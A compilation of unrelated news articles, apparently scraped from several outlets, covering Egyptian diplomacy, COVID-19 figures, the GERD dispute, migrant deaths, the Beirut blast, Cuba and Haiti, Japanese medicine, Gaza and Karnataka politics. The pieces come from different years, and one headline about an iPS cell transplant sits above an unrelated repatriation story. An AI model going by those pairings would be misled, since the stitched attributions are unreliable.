Christmann praised El-Sisi's wise leadership and ambitious vision, noting that they have turned Egypt into a successful developmental and economic model at the regional and global levels.

He stated that Egypt comes at the top of countries in which the company is interested in boosting its investments in light of the current positive investment climate in the country in addition to the promising opportunities that its energy sector enjoys.

Christmann also hailed the deeply-rooted relations between Egypt and the US in various fields, the statement added.

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Egyptian President Abdel-Fattah El-Sisi affirmed to Kuwaiti National Assembly Speaker Marzouq Al-Ghanem on Wednesday the need for joint coordination among Arab countries to face challenges in the region, the presidency said in a statement.

This comes in light of Arab countries huge potentials and capabilities, El-Sisi explained, as he received Ghanem in Cairo in the presence of Egyptian House of Representatives Speaker Hanafy El-Gebaly and Kuwait's Ambassador to Egypt Mohammad Al-Thuwaikh.

The Egyptian president stressed the link between the Gulfs security and Egyptian national security.

The president affirmed the special Egyptian-Kuwaiti relations and Egypts keenness to continue developing cooperation between the two countries in various fields and at all official and popular levels.

El-Sisi also expressed appreciation for the generous care enjoyed by the Egyptian community in Kuwait and conveyed his greetings to Kuwaits Emir Nawaf Al-Ahmad Al-Sabah.

Al-Ghanem affirmed his countrys appreciation of the firm, historic relations connecting the two countries and hailed the Egyptian role in preserving the security and stability of Kuwait and the Arab World.

Al-Ghanem also underscored Egypts contribution to consolidating security, stability, and development on the regional level and strengthening Arab unity.

He voiced his aspiration to develop cooperation with Egypt in various fields, especially on the parliamentary level.

Al-Ghanem also hailed the contribution of the Egyptian community in development work in Kuwait.

The meeting also discussed means to foster relations between Egypt and Kuwait in all fields and also addressed developments on the regional level.

Al-Ghanem conveyed the greetings of the Kuwaiti Emir to El-Sisi.

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Three Egyptian military planes, loaded with tons of medicines, medical supplies and equipment, took off from Cairo and arrived in Tunis on Wednesday to help Tunisia face its current coronavirus crisis.

The medical aid was sent upon the directives of President Abdel-Fattah El-Sisi.

The shipments were provided by the Egyptian health ministry with the aim of alleviating burdens on Tunisian people in the current crisis.

The Tunisian government thanked Egypt for its continued support.

Several Arab countries have sent to the North African country medical aid, whether field hospitals or coronavirus medications, vaccines or medical supplies, after hospitalisations surged due to the spread of the Delta variant.

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The World Health Organisation has placed Egypt at the lower level in terms of the risk of the coronavirus pandemic spread, Health Minister Hala Zayed said in a cabinet meeting on Wednesday.

The minister cited the organisation's six-level categories of the epidemiological position and the risk of spreading the virus worldwide.

Egypt reported relatively few coronavirus infections over the past month after passing the peak of a third wave of the pandemic.

So far, the country has reported 283,320 cases and 16,412 since the initial outbreak in February last year.

During the cabinet meeting on Wednesday, Zayed said Egypt received 500,000 jabs of the Chinese Sinovac vaccine last week and another 1 million doses will be available by the end of next week.

Zayed said 700,000 vaccine doses will be provided to Egypt through the COVID-19 Vaccines Global Access (COVAX) as well as another 250,000 AstraZeneca doses.

Last week, the WHO praised Egypt for producing the first 1 million Sinovac vaccine doses and for the countrys plan to vaccinate 40 million citizens against the virus by the end of the year.

On Sunday, health ministry spokesman Khaled Megahed said Egypt will receive 2 million doses of the Pfizer vaccine by the end of the week, noting that these doses will be allocated for travel purposes only.

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Egypts Foreign Minister Sameh Shoukry discussed on Wednesday boosting bilateral relations between Malaysia and Egypt in all fields in a telephone call he received from his Malaysian counterpart Hishammuddin Hussein, the Egyptian foreign ministry said.

According to the ministry, the two officials tackled preparations for the first meeting of the joint committee between the two countries, which is set to be held at a ministerial level in the Malaysian capital.

The two top diplomats also tackled preparations for the first political consultation meeting to be held at the level of the two countries' senior foreign ministry officials.

The two diplomats reiterated their keenness to push forward bilateral cooperation and maintaining coordination on regional and international issues of common interest, the spokesman said.

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The number of migrants and refugees who died while attempting to reach Europe on dangerous sea crossings more than doubled so far this year compared to the first six months of 2020, the United Nations' migration agency said in a new report.

At least 1,146 people perished between January and June, according to the International Organization for Migration. The number of people traveling on sea routes to Europe also increased, but only by 56%, the IOM's report said.

The Central Mediterranean route between Libya and Italy was the deadliest, claiming 741 lives. Next was the stretch of the Atlantic Ocean between West Africa and Spain's Canary Islands, where at least 250 people died, the agency said. At least 149 people also died on the Western Mediterranean route to Spain, as well as at least six on the Eastern Mediterranean route to Greece.

The IOM says the actual number of deaths on sea routes to Europe may be far higher as many shipwrecks go unreported and others are hard to verify.

European governments increasingly rely on and support North African countries with fewer resources to handle search and rescue operations.

Tunisia increased such operations by 90% in the first six months of 2021, while Libyan authorities intercepted and returned more than 15,000 men, women and children to the war-torn country, three times more people than in the same period last year, the IOM report said.

Meanwhile, Italian authorities increasingly targeted charity rescue ships that have worked over the years to fill the void left by European governments, routinely detaining the vessels operated by nongovernmental organizations for months, sometimes years.

While many factors contributed to this year's higher death toll, including an increase in the number of flimsy boats attempting sea crossings, ``the absence of proactive, European, state-led search and rescue operations in international waters combined with restrictions on NGOs'' was among the main factors, IOM spokesperson Safa Msehli said.

``These people cannot be abandoned in such a dangerous journey,'' Msehli told The Associated Press.

Italy detained nine NGO-operated ships so far this year, according to Matteo Villa, a research fellow for the independent think thank ISPI, who tracks data and statistics on migration.

Mediterranean countries such as Italy, Malta, Spain and Greece have repeatedly asked other European countries for help caring for the people who are rescued and brought to their shores.

Last year, when pandemic restrictions made it hard to move between countries, the number of refugees and migrants arriving in Europe by sea dropped to its lowest level since 2015. That year, 1 million reached Europe, many of them refugees fleeing the war in Syria.

*This story was edited by Ahram Online.

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Lebanon's president said Wednesday there would be no political cover for anyone held responsible for last year's massive explosion at the Beirut port, speaking a day after protests erupted over the handling of the investigation.

The blast on Aug. 4 was caused by the ignition of hundreds of tons of ammonium nitrate, a highly explosive fertilizer that had been stored for years at the port with the knowledge of top government officials.

It still is not clear what exactly caused the explosion, and an investigation by a state-appointed judge has been riddled by charges of political interference. The first investigator, who charged senior officials with negligence, was removed from the case.

The delays have frustrated the public, particularly amid reports that most of the Lebanese leadership, including the president, had knowledge of the explosive material stored at the port. They did little to store it safely or to alert civilians in the area of its presence.

Beirut's port and parts of the city were devastated in the ensuing massive explosion that killed over 200 people and injured hundreds more.

Tuesday's protests outside the house of the interior minister of the caretaker government lasted several hours. Families of the victims and explosion survivors held a mock funeral and burial outside his home. Protesters scuffled with security forces guarding the building, who fired tear gas to disperse the crowd. Dozens of protesters and security forces were lightly injured.

Interior Minister Mohammed Fehmi had rejected a request by the new lead investigator to remove immunity for one of the most senior security officials accused in the port case _ the head of general security, Abbas Ibrahim, allowing him to be questioned.

President Michel Aoun said Wednesday the port investigation is ongoing and that ``there will be no political cover for anyone who was negligent or guilty.'' However, he did not address critics who said that Fehmi obstructed the investigation.

Aoun's comments came during a meeting with Patrick Durel, French President Emmanuel Macron's envoy.

Aoun also approved Aug. 4 as a day of mourning, declaring it a national holiday. Families of the victims have been campaigning for this recognition.

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Related Russia against US troops in Central Asia near Afghanistan

Nuclear strategic stability talks between Russia and the United States will take place in a week, the RIA news agency reported on Wednesday, citing sources in a Russian delegation at talks in Tajikistan.

Russia wants to discuss all types of weapons, including nuclear, non-nuclear, offensive and defensive weapons, that can affect strategic stability and global security, RIA reported.

U.S. President Joe Biden and Russian President Vladimir Putin agreed at a summit in Geneva last month to embark on an integrated bilateral Strategic Stability Dialogue to lay the groundwork for future arms control and risk reduction measures.

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They are two tiny Caribbean states whose intractable problems have vexed U.S. presidents for decades. Now, Haiti and Cuba are suddenly posing a growing challenge for President Joe Biden that could have political ramifications for him in the battleground state of Florida.

Cuban demonstrators have taken to the countrys streets in recent days to lash out at the communist government and protest food shortages and high prices amid the coronavirus pandemic. In Haiti, officials are asking the U.S. to intercede in a roiling political crisis after last weeks assassination of President Jovenel Moise in a nation where military and humanitarian interventions by U.S. presidents from Woodrow Wilson to Barack Obama have proved to be politically harrowing.

Biden is facing increased pressure from Republican lawmakers for his administration to step up support of Cuban demonstrators. And his aides have demonstrated determined caution in response to requests for more U.S. involvement in Haiti.

The administration has come under fire from both sides of the political spectrum for its responses to each of the crises, both unfolding less than two hours flying time from Miami. The troubled U.S. history in both countries has hardened positions, making virtually any policy decision politically unpalatable for a president seeking to toe a middle line.

In the background: How the Biden administration handles the crises looms large in electorally rich Florida.

Biden lost the state in 2020 to Donald Trump, as Republicans improved their performance while paying special attention to courting the states large Cuban American population and other immigrant voters, noted Susan MacManus, a Florida political analyst and professor emerita at the University of South Florida.

The caution Biden is showing reflects the poor showing in 2020 and a desire not to repeat it, said MacManus, who added that Haitian Americans are becoming a growing political force in South Florida. Democrats learned in 2020 that country of origin is a much more powerful voting cue in Florida than historical voting affiliation, and Trumps hammering on socialism proved to be an effective message.

Indeed, as the situations play out in Cuba and Haiti, Biden administration officials have responded cautiously.

The White House on Sunday dispatched representatives from the Justice Department, the Department of Homeland Security and the White House National Security Council to meet with Haitis interim Prime Minister Claude Joseph, designated Prime Minister Ariel Henry and Joseph Lambert, the head of its dismantled Senate, whom supporters have named as provisional president in a challenge to Joseph.

White House officials said Haitis request for the U.S. to deploy troops was under review. At the State Department, spokesman Ned Price said Tuesday he was not aware that the administration had rejected any request from Haitian officials but said the focus was on supporting the investigation into the assassination rather than providing military assistance.

U.S. officials have also made clear that the administration remains concerned about the infighting over who is rightfully Moises successor in Haiti.

The White House is coordinating with Joseph in his capacity as acting prime minister, but is urging Haitian officials to work together to hold legislative and presidential elections as soon as feasibly possible.

Meanwhile, the White House said a review of its Cuba policy remains underway.

To be sure, U.S. efforts to press for regime change have had their fair share of failures over the years: the 1961 Bay of Pigs invasion, CIA-backed assassination attempts on Cuban leader Fidel Castro, and sanctions that inflicted pain but never produced the ultimate goal of ending communist rule.

Were going to be taking a close look at what has and has not worked in the past, and unfortunately in the case of Cuba, there may be more that has not worked than what has worked, Price said.

This week, Cuban police have been out in force as President Miguel Diaz-Canel has accused Cuban Americans of using social media to spur a rare outpouring of weekend protests. The demonstrations in several cities and towns were some of the biggest displays of antigovernment sentiment seen in years in tightly controlled Cuba, which is facing a surge of coronavirus cases as it struggles with its worst economic crisis in decades.

There are political crosscurrents for Biden as he addresses both situations.

On Cuba, the political right in the U.S. has accused Biden  who said as a presidential candidate that he would revert to Obama-era policies that loosened decades of embargo restrictions on Havana  of not being supportive enough of Cuban dissidents.

Democrats, meanwhile, are unhappy that Biden has yet to reverse Trumps hard-line approach to the islands communist government as his administration carries out its review of Cuban policy.

Trump in a statement criticized Bidens past promises to loosen restrictions on Cuba.

Dont forget that Biden and the Democrats campaigned on reversing my very tough stance on Cuba, Trump said.

Florida Republicans Sen. Marco Rubio and Rep. Carlos Gimenez, a freshman lawmaker who represents a Miami district that Democrats are hoping to flip in next years midterm election, were among elected officials this week who called on the administration to maintain Trumps Cuba policy.

They also called on Biden to aid the protesters, including by making free satellite internet access available on the island to subvert the Cuban governments effort to stop activists from broadcasting their messages on social media to the world.

Gimenez said in an interview that simply maintaining the status quo is not enough at a moment when the island is seeing some of the most intense protests in more than 60 years  what Biden himself referred to as a clarion call for freedom.

Biden lost Florida by about double the margin by which Trump beat Democrat Hillary Clinton there in 2016.

Trump was helped in part by narrowing the Democrats margin of victory in population-rich Miami-Dade County by nearly 13 percentage points. Gimenez and another freshman lawmaker of Cuban descent, Maria Elvira Salazar, picked up Democratic-held seats as Trump and Republicans focused on courting Cuban Americans, an important voting bloc in the state.

The majority of Cubans in Florida supported Trump over Biden, 58% to 41%, according to AP VoteCast. The margin was nearly reversed among other Hispanic voters in the state, who were more likely to support Biden than Trump, 59% to 40%.

Biden is no fool, said Gimenez. Its not just the Cuba issue, its the whole issue of socialism and communism and censorship thats shifted the people of Miami-Dade over to the right. The problem that the president has is the extreme parts of his own party seem to be driving the agenda, and that he just cant escape right now.

White House spokesman Chris Meagher said Biden, dating back to his days in the Senate, has been a fierce critic of the Castro regime and is committed to Cuban human rights.

Hes committed to forming his policies toward Cuba based on two principles: that standing up for democracy and human rights is paramount, and that Americans  especially Cuban Americans  are the best ambassadors for freedom and prosperity in Cuba, Meagher said.

Carlos Diaz-Rosillo, who served as a director of policy and interagency coordination in the Trump White House, said the situations in Cuba and Haiti offer Biden a chance to demonstrate his oft-repeated dictum that democracies can better service their people than autocracies as well as his preference for multilateral efforts to address big global problems.

This is an administration that says that they believe in international organizations and that they believe in these multilateral bodies. If thats the case, get our allies in the hemisphere together ... and see how they can rally others to help out, Diaz-Rosillo said.

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Egypts Ministry of International Cooperation has launched a series of national consultation meetings that started on Wednesday and tackles the new strategic partnership framework between the Egyptian government and the United Nations over a period of five years (2023-2027).

More than 50 representatives from 30 government agencies as well as 28 UN agencies participated in the meetings with the aim of constructing a participatory dialogue to underspin stakeholders priorities for cooperation in the upcoming five years.

The meetings will also discuss how national priorities can be consolidated through future projects with the UN.

As the national coordinator of the partnership framework, Egypts Ministry of International Cooperation leads in coordinating with the UN and monitoring the implementation of the strategic framework at the national level.

The organisational structure of the ongoing strategic framework (2018-2022) consists of a steering committee chaired by Egypts Minister of International Cooperation Rania Al-Mashat, in partnership with the UNs Resident Coordinator in Egypt Elena Panova, along with other government agencies representing relevant national authorities.

The strategic framework of the partnership with the UN mirrors national priorities towards achieving Egypts Vision 2030, in line with the SDGs as well as the Egyptian government's program Egypt Kicks Off, which represents a blueprint for the partnerships new strategic framework. The new framework aims to achieve sustainable development in light of what has been achieved through the current strategic framework (2018-2022), said Al-Mashat.

During the week, the Ministry of International Cooperation and the UN held three sessions to go over the progress made towards achieving and accelerating the implementation of the Sustainable Development Goals (SDGs).

Moreover, a national consultative meeting was held to discuss cooperation priorities with the UN that are consistent with the national goals and future plans.

For her part, the UNs Panova said that the UN is working side by side with the government of Egypt to fulfil the 2030 Agendas core objective, which is Leave no one behind; through a coherent and comprehensive partnership strategy guided by the SDGs.

Panova stressed that joint action is the key factor in achieving the tangible results affecting more than 100 million citizens in Egypt.

Egypt was one of the 50 founding countries of the UN in 1945, and has a long-standing history of mutual relations with the United Nations and its programs, affiliated agencies, and funds.

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Two months ago, Egyptian and Turkish officials concluded two days of talks in Cairo aimed at normalising relations. In a joint statement on 6 May, the two sides said they would evaluate the outcome of the first round of consultations before agreeing the next move, and that an Egyptian delegation would visit Turkey for a second round of talks.

On Monday, however, Egypts Foreign Minister Sameh Shoukri told Sada Al-Balad TV channel that while we could hold a new round of exploratory talks with Turkish officials in the future there is nothing on the agenda right now.

In another TV interview on 25 June, Shoukri said: We have reservations over Turkish policies in a number of areas, particularly the deployment of Turkish forces in Libya.

Their presence there lacks legitimacy. It is based on a deal between Turkey and the transitional Libyan government which was not authorised to initiate such an agreement.

International consensus is behind the resolutions of the Berlin 2 Conference which clearly state that all foreigners in Libya should leave.

Informed sources told Al-Arabiya TV channel on 24 June that Cairo had stipulated Turkish forces must leave Libya before any more steps towards normalising relations between the two countries are taken and had sent a message to the Turkish intelligence agency informing it there can be no security coordination or bilateral talks until the condition is met. This explains why Egypt is refraining from holding further exploratory talks with Turkey despite Ankaras eagerness to resume such talks, said Al-Arabiya.

On 3 July, Shoukri referred to another obstacle in the way of normalisation, telling Cairo and the People TV channel that Ankara is still giving refuge to fugitive Muslim Brotherhood members facing terrorism charges in Egypt. He, nonetheless, noted that Ankaras recent move to prevent some Muslim Brotherhood fugitives from appearing on TV channels and the social media was a positive step.

Shoukri was referring to Ankaras decision on 24 June to prevent two Egyptian Muslim Brotherhood hosts from appearing on Al-Shark and Mekamleen TV channels which broadcast from Istanbul.

Al-Arabiya described the ban as an attempt to pave the way for the restoration of relations with Egypt and cited sources as saying that four other Brotherhood-linked TV hosts  Moetaz Mattar, Mohamed Nasser, Hisham Abdallah, and Hamza Zoba  had been banned from TV channels and social media.

Despite such moves, Al-Ahram political analyst Beshir Abdel-Fattah says Turkeys relations with the Muslim Brotherhood remain strong, and no one should expect the banning of a few hosts from appearing on TV to lead to an improvement in relations.

Meanwhile, on 2 July Turkish President Recep Tayyip Erdogan announced that We have military forces in Libya, Syria, Azerbaijan and the East Mediterranean and we will stay there, he said.

MP Mustafa Bakri says Erdogans statement was deliberately provocative. I think it explains why Cairo wont move forward towards normalising relations with Turkey. Egyptian officials have yet to be convinced that Ankara is sincere in wanting to normalise relations with Cairo.

Last months visit of the Turkish defence and foreign ministers to Libyas capital  Tripoli  to review a Turkish air base there, merely served to confirm Cairos suspicions.

Bakri also notes that Yassin Aktay, one of Erdogans leading advisors, condemned Egypts Court of Cassation for upholding death sentences against 12 Muslim Brotherhood leaders found guilty of inciting violence and of murder.

In an article in Yeni Safak newspaper, Aktay said that an Egyptian court had ratified a previously issued ruling to execute 12 people, including ministers in the elected government that was overthrown by the coup, as well as figures in the party of that government.

These conflicting signals coming from Turkish officials send one message  Ankara is neither sincere nor serious about restoring relations with Egypt, says Bakri.

Dalia Ziada, an Egyptian human rights activist, points out that Aktay is the architect of the relationship between the Turkish president and the Muslim Brotherhood and one of the most important catalysts for the deterioration of relations between Egypt and Turkey after 2013. He facilitated the entry of Muslim Brotherhood members who fled Egypt to Turkey, and he has been taking care of them since then. Over the past seven years he has been supervising and directing Muslim Brotherhood activities inside Turkey, especially their media activities targeting the Egyptian state, she says.

It seems that there are two wings in the Turkish government: one led by Foreign Minister Mevlut Cavusoglu pushing for reconciliation with Egypt, and one led by Aktay pushing in the opposite direction.

Bakri also notes that Turkishs reconciliation talks with Saudi Arabia have also faltered. I think that Egypt and Saudi Arabia are in coordination in this respect, and no one should expect a breakthrough in relations with Turkey anytime soon.

*A version of this article appears in print in the 15 July, 2021 edition of Al-Ahram Weekly.

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Egypts President Abdel-Fattah El-Sisi discussed means to enhance security cooperation to combat cross-border terrorism in Africa as he received Zambian foreign minister Joseph Malanji on Saturday.

El-Sisi and Malanji tackled the importance of exchanging information between their relevant institutions to eradicate cross-border terrorism within the framework of the continental efforts made in this regard, Presidential Spokesman Bassam Radi said.

Malanji delivered a message to El-Sisi from Zambian President Edgar Lungu expressing Zambia's desire to develop relations with Egypt, boost bilateral cooperation, especially in the fields of trade and the economy, and jointly work to confront African challenges.

El-Sisi conveyed greetings to his Zambian counterpart and stressed the importance Egypt gives to means of enhancing relations with Zambia, especially in trade and investment, on the bilateral level and the level of the Common Market for Eastern and Southern Africa (COMESA), as well as to enhance joint African work, to help achieve development and stability.

Head of Egypt's General Intelligence Service Abbas Kamel attended the meeting.

In October, Egypt assumed the month-long chairmanship of the African Unions Peace and Security Council in charge of enforcing union decisions.

The chairmanship ended with the unanimous approval of the Cairo Roadmap, an Egyptian document outlining ways to reinforce UN peacekeeping on the continent, said the foreign ministry.

Egypt chaired the African Union in 2019.

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Egypts Health Minister Hala Zayed announced on Wednesday the launching of a national project for blood plasma donation for medicine production as part of the presidents initiative to achieve self-sufficiency in producing plasma derivatives.

The project aims to ensure the availability of treatment for many chronic diseases, including liver and kidney diseases, a health ministry statement cited Zayed as saying.

The health minister donated plasma in Ehab Serag El-Din Centre for blood transfusion services in Gizas Al-Agouza district, becoming the first permanent plasma donor in the project.

Zayed announced the inauguration of plasma collection services in six centres across five Egyptian governorates, including three in Greater Cairo.

The plasma donation services will be provided in the regional blood transfusion centres of Cairos Dar El-Salam and Abbasiya districts, Alexandria, Gharbiyas Tanta city and Upper Egypts Minya, according to the statement.

Zayed noted that 20 centres will be allocated for plasma donation during this year.

The minister urged citizens over 18 years old to take part in the project by donating blood once every two weeks and becoming permanent donors.

Donors will not bear any financial expenses and will be compensated for their time and commuting expenses.

Zayed affirmed that donating plasma has numerous benefits for donors, including encouraging the bone marrow to produce new blood cells and activating the organs responsible for renewing plasma proteins.

Donors also undergo a periodic medical examination free of charge that includes checking for all diseases and viruses, Zayed said.

The centres are provided with the latest equipment in accordance with international standards and under the supervision of the World Health Organisation, Zayed said.

She noted that this comes in preparation for the international verification of these centres.

Each donor will receive an identification card with a QR code that they can use in subsequent visits, health ministry spokesperson Khaled Megahed said, noting that the donation centre will communicate with each donor every two weeks to schedule a date for donations.

Egypt first called on citizens to donate plasma last year to contribute to the plasma therapy trials for coronavirus patients, urging those who have recovered from the virus to head to the nearest ministry-affiliated blood transfusion centre.

Last month, President Abdel-Fattah El-Sisi hailed the plasma project as a dream-come-true. In July, he said the project would be very important for the Egyptian state if implemented in the right way.

Prime Minister Mostafa Madbouly said in April that the country will establish the first factory for blood plasma derivatives as per El-Sisis directives in the New Administrative Capital by the end of next year.

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US regional spokesperson stresses agreement on time frame for GERD negotiations



Ahmed Morsy, Wednesday 14 Jul 2021



Werberg said the three parties should avoid taking unilateral measures until they reach a deal on GERD



Egypt, Sudan, and Ethiopia should agree on a time frame to reach a dealon the Grand Ethiopian Renaissance Dam (GERD),Regional Spokesman for the US State Department Samuel Werberg said.



During a phone-in with Sada El-Balad satellite channel on Tuesday night, Werberg pointed out that the three parties should avoid taking unilateral measures until they reach an agreement on GERD.



Throughout the decade-long negotiations over GERD, the two downstream countries Egypt and Sudan have been seeking a legally binding deal on the filling and operation of the GERD to no avail due to Ethiopias intransigence.



Ethiopia has been evading a legal deal, preferring instead a set of guidelines that can be modified any time at its discretion. It has also opposed international mediation, led by the African Union (AU) and including the US, EU, and UN, which was proposed by the two downstream countries to facilitate negotiations and bring the views closer.



Werberg indicated that the US recognises the importance of the Nile water for Egypt and Sudan, stressing it is necessary for the three countries to reach a deal. He added that the UN Security Council believes that the AU is the most appropriate entity to deal with the dam crisis.



The two downstream countries have expressed concerns about their water rights and peoples lives, especially in times of drought, in case the GERD was filled without a binding deal, and have earlier accused Addis Ababa of attempting to prolong the negotiations to impose a fait accompli.



Egypt, which relies on the worlds longest River Nile for more than 95 percent of its renewable water resources, fears that the unilateral filling and operation of the massive hydropowerproject will significantly diminish its water supply, which at 560 m3 per person annually is already well below the international threshold for water scarcity.



Unlike Ethiopia, whose annual floods is estimated around 900 billion cubic metres (bcm) and has around nine major rivers, Egypt is considered one of the most water-scarce countries in the world, as it receives around 60 bcm annually  mainly from the River Nile  though its needs stand at around 114 bcm.



The US is ready to provide assistance in order to restore the course of negotiations, and supports the continuation of [GERD] negotiations between the three countries to resolve the crisis, Werberg said, adding that the US will engage in dialogue with the three countries to resume negotiations.



The year-long rounds of AU-sponsored GERD negotiations to reach an agreement have failed. The latest $4.8 billion Ethiopian hydropower projects session of talks  which was sponsored by the AU and aimed to revive the already stalled negotiations since January  was held in the AUs chair country, the DR Congo, in April but failed to stir the stagnant water.



A week ago, the UN Security Council held a session on the GERD at the request of Egypt and Sudan in an attempt to settle the dispute over the near-complete dam that Ethiopia has been building since 2011 on the Blue Nile.



Three days before the session, Ethiopia had already commenced its second-year filling of the GERD, which both downstream countries condemned, with Cairo describing it as a "blatant and dangerous" violation of international laws as well as the Declaration of Principles signed in 2015.



https://english.ahram.org.eg/News/417191.aspx
KYODO NEWS - Jul 14, 2021 - 22:11 | Japan, All

The Japanese Association of Medical Sciences said Wednesday it has conditionally approved womb transplants to be performed in Japan on a clinical trial basis, providing hope to women in the country struggling with infertility.

In a report compiled by the association's review panel, it said such transplants will be limited to a small number of cases. The procedure involves transplanting the uterus of a living donor to a woman who lacks a uterus so that she can give birth.

Current organ transplant laws in Japan do not permit uterine transplants from deceased donors, so a donor is likely to be the mother or another family member of the patient.

A team at Keio University now plans to seek permission from its internal ethics committee to carry out what would be Japan's first clinical trial of a uterine transplant.

Under the procedure, egg retrieval will be performed on the patient in advance, fertilized in-vitro, and then frozen for storage. The embryos will be later implanted inside the transplanted uterus, with the baby delivered via cesarean section.

There are believed to be around 60,000 women in their 20s or 30s in Japan who are either born with Mayer-Rokitansky-Kuester-Hauser syndrome, a condition that causes the uterus to be underdeveloped or absent, or who have lost their uterus as the result of cancer treatment and other causes.

While it is hoped uterine transplants will provide these women with a new option to have children, there are still many issues left to be resolved, including whether it is appropriate to perform a hysterectomy on a healthy woman, and the unknown side effects of immunosuppressive drugs, administered to suppress organ rejection, on a fetus.

The association's report stipulates that a womb transplant can be performed in Japan on condition that all concerned parties including the donor and patient have been fully briefed on the process and understand the risks involved.

It also urges medical bodies to ensure a support system for diagnosis and treatment of those with MRKH syndrome, and recommends revising an ordinance of the law to prepare for allowing transplants from deceased donors in the future.

In 2014, doctors in Sweden became the first to successfully deliver a baby from a transplanted human uterus.

Since then, the procedure has been performed in 16 countries, including the United States, resulting in 40 successful births as of March 2021, according to the review panel. In most cases, the donor is the patient's mother.

Keio University submitted its clinical trial proposal to entities including the Japanese Society of Obstetrics and Gynecology in 2018.

The Japanese Association of Medical Sciences established a review panel in 2019 to evaluate the proposal and to discuss the ethical concerns.

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1st-ever iPS visual cell transplant performed without complications
KYODO NEWS - Jul 14, 2021 - 22:59 | World, All, Japan, Coronavirus

About 50 Japanese expatriates and family members were repatriated Wednesday from Indonesia on a chartered plane following a surge of infections with the highly contagious Delta variant of the coronavirus in the Southeast Asian country.

The All Nippon Airways aircraft, chartered by major general contractor Shimizu Corp., departed Jakarta's international airport in the morning and arrived at Narita airport near Tokyo later in the day.

According to the Japanese Embassy in Jakarta, at least 330 Japanese nationals in Indonesia have contracted the virus as of Wednesday, of which 14 have died.

Indonesia reported its highest daily number of new coronavirus infections Wednesday, with the total reaching 54,517, as the highly contagious Delta variant sweeps across the sprawling archipelago.

Shimizu decided to bring back its Japanese employees and their family members as Indonesia is experiencing a shortage of hospital beds and medical-use oxygen amid the surge.

The company plans to provide a COVID-19 vaccine to those who want one once they are back in Japan. Its remaining personnel are also due to return to the country.
New York:

The UN Security Council heard fears of a further escalation in Israeli-Palestinian violence in the Gaza Strip during emergency talks today despite a failure to agree a joint statement on deadly clashes.

UN Secretary-General Antonio Guterres also called for an "independent and transparent investigation" and reaffirmed "the readiness" of the world body to revitalise peace efforts, a spokesperson said.

Kuwait requested the meeting to discuss the unraveling situation in Gaza, where Palestinians said Israeli fire killed 16 people in the conflict's deadliest single day since the 2014 Gaza war.

"There is fear that the situation might deteriorate in the coming days," said assistant UN secretary general for political affairs, Taye-Brook Zerihoun, urging maximum restraint.

Britain and the United States expressed regret that the timing of the meeting -- the first night of Passover -- meant Israeli officials could not attend. Leading ambassadors sent deputies in their place.

"It's vital that this Council be balanced in its approach," a US diplomat told the meeting. "We should have found an arrangement for all parties to participate tonight," he added.

"We are deeply saddened by the loss of life today," the diplomat added. "Bad actors who use protests as a cover to incite violence endanger innocent lives," he added.

"The risk of escalation is very real," the French representative said. "There is the possibility of a new conflict in the Gaza Strip."



In a written statement before the meeting, Israel's ambassador to the United Nations, Danny Danon, blamed Hamas for the violence.

The violence broke out as tens of thousands of Gazans marched near the Israeli border to demand that the right of return for Palestinian refugees who fled or were expelled since the creation of Israel.

Israeli troops used tear gas and live fire to force back Palestinians who approached the heavily fortified border fence.

Israeli tank fire and an air strike also targeted three Hamas sites in the Gaza Strip after what the military said was an attempted shooting attack against soldiers along the border that caused no injuries.

The health ministry in Gaza said 16 Palestinians were killed by Israeli forces and more than 1,400 were injured, including 758 by live fire, with the remainder hurt by rubber bullets and tear gas.

Palestinians accused Israel of using disproportionate force. The Israeli military said the protests were used as cover by militants to either break through the border or carry out attacks.

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Mysuru:

Lashing out at Chief Minister Siddaramaiah, Bharatiya Janata Party president Amit Shah on Friday warned him against unleashing violence against the BJP and the RSS workers and vowed to deliver the "biggest shock of their lives from Mysuru region".

Shah, on a tour of Mysuru as a part of his fourth round of visit to poll-bound Karnataka, said that Siddaramaiah and the JDS would receive the "biggest shock of their lives" from the region in the May 12 assembly polls.

"It is said that the BJP is a bit weak here (Old Mysuru region), but after seeing the work of the party workers, I expect Siddaramaiahji and the JD(S) to get the biggest shock of their lives from this (Old) Mysuru region," he told a party convention here.

Currently Shah is touring the districts of Mysuru, Chamarajanagara, Mandya and Ramanagara, where the BJP failed to win a single seat in the previous election.

Referring to his gaffe at Davanagere earlier this week, Shah said though he had committed a mistake in his speech while referring to Siddaramaiah's corruption, people of the state would not do the same because they knew Siddaramaiah's rule well.

"Siddaramaiah and Rahul Gandhi were very happy over my gaffe while speaking about Siddaramaiah's corruption. I had made a mistake, but the people of Karnataka will not make it, because they have understood Siddaramaiah's government very well," he said.

In a slip of the tongue at a press conference at Davangere while attacking the Siddaramaiah dispensation as the "most corrupt" one, Shah had said the Yeddyurappa government would get the number one award in corruption.

He had, however, corrected himself after being prompted by BJP MP Prahlad Joshi, who was seated next to him.

Shah also accused Siddaramaiah of playing with Karnataka's pride by not celebrating the "jayanti" of noted Kannada poet Kuvempu or renowned engineer Sir M Vishveswaraiah.

"Siddaramaiah only remembers to celebrate the jayanti of Tipu Sultan (the 18th-century ruler of Mysore) to get votes," he said.

Shah also met the?Wadiyar royal family of Mysuru today at their private palace, triggering speculations about their supporting or joining the BJP.

According to sources, during the closed-door meeting with the scion of the royal family or the present titular Maharaja-Yaduveer Krishnadatta Chamaraja Wadiyar and Rajamata Pramoda Devi Wadiyar, Shah reportedly discussed various issues, including politics.

Amid speculations in the media, Yaduveer, the 27th "King" of the Wadiyar dynasty, recently ruled out his political entry.

"I have told several times that I'm not interested in? politics. There is no chance at all about me joining any? party. I'm not interested in politics. Through social work we? will continue our relationship with the public," he said.

Shah also said that his party, if voted to power, would make efforts to hunt down the killers of RSS and BJP workers in Karnataka, and hand out severest of punishment to them.

"I would like to tell the people of the state that Siddaramaiah's time has come to an end. Soon after BJP forms the next government under Yeddyurappa's leadership, it will make all efforts to hunt down killers (of RSS and BJP workers) from any corner of the world," he said.

Shah was speaking to reporters after meeting the family of BJP worker Raju, who was hacked to death in March 2016.

"They will be sent to jail and handed out stringent punishment," he added.

Shah said Siddaramaiah was mistaken if he and his government thought they could stall saffron ideology from spreading by unleashing violence against BJP and RSS workers.

"In politics, there is no room for violence. If Siddaramaiah and his government think they can stall our ideology from spreading, then he is mistaken," he said.

Targetting the Karnataka chief minister, Shah in a tweet said there are multiple fronts on which CM Siddaramaiah has failed his own constituency. Mandya-Mysuru region has one of the highest farmer suicide rates in the state.

Last year, there were more than 265 infant deaths in just 7 months in Mysuru district, he said.

